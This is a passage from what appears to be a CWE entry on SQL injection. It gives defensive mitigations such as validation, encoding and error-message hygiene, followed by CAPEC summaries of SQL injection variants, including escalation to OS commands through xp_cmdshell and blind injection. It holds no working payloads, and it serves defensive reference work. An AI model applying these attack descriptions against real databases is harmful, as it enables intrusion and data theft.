- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.